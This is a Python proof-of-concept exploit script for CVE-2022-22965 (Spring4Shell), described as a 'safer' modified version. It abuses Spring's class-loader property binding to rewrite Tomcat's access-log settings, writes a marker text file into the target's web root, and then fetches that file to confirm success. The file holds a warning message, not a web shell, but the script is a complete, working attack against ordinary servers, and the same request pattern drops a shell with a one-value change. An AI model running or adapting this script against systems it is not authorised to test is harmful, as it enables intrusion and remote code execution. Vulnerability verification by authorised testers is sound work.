Safer_PoC_CVE-2022-22965.py

#coding:utf-8
# POC modified by @th3_protoCOL
import requests
import argparse
from urllib.parse import urljoin

def Exploit(url, dir):
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }
    
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=i%20Warning,%20CVE_2022_22965%20was%20sucessfully%20exploited%20on%20this%20device.%20reference:%20https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement%20%20i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt&class.module.classLoader.resources.context.parent.pipeline.first.directory=out_dir&class.module.classLoader.resources.context.parent.pipeline.first.prefix=CVE_2022_22965_exploited&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    data = data.replace("out_dir", dir)

    try:
        print("[*] Full target URL "+url)
        print("[*] Perfoming exploit POST request... ")
        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        print("\033[1;33m[*]\033[0m Exploit attempt finished")
        print("[*] Exploit attempt status code: "+str(go.status_code))
        print("[*] Preview of response: ")
        print(go.text[0:120])
        result_url = urljoin(url, 'CVE_2022_22965_exploited.txt')
        results_check = requests.get(result_url, verify=False)
        print("[*] Evidence pull status code: "+str(results_check.status_code))
        if results_check.status_code == 200 and results_check.text[0:49] == 'Warning, CVE_2022_22965 was sucessfully exploited':
                print("\033[0;32m[+] Exploit successful! \033[0m")
                print("[*] URL path: "+result_url)
        else:
            print("\033[93m[!] Manual verification needed!\033[0m\n[*] Check the results of the exploit by reviewing for the presence \033[1;36mCVE_2022_22965_exploited.txt\033[0m on your webserver!" )
            print("\033[93m[*] Preview of "+result_url+"\033[0m")
            print(results_check.text[0:200])

    except Exception as e:
        print("\033[0;31m[-] Exploit Failed\033[00m")
        print(e)
        pass

def main():
    parser = argparse.ArgumentParser(description='CVE-2022-22965 Spring-Core remote code execution POC')
    parser.add_argument('--url',help='target url',required=True)
    parser.add_argument('--dir',help='directory to write the result (default is "webapps/ROOT")', default = "webapps/ROOT")

    args = parser.parse_args()
    Exploit(args.url, args.dir)

if __name__ == '__main__':
    main()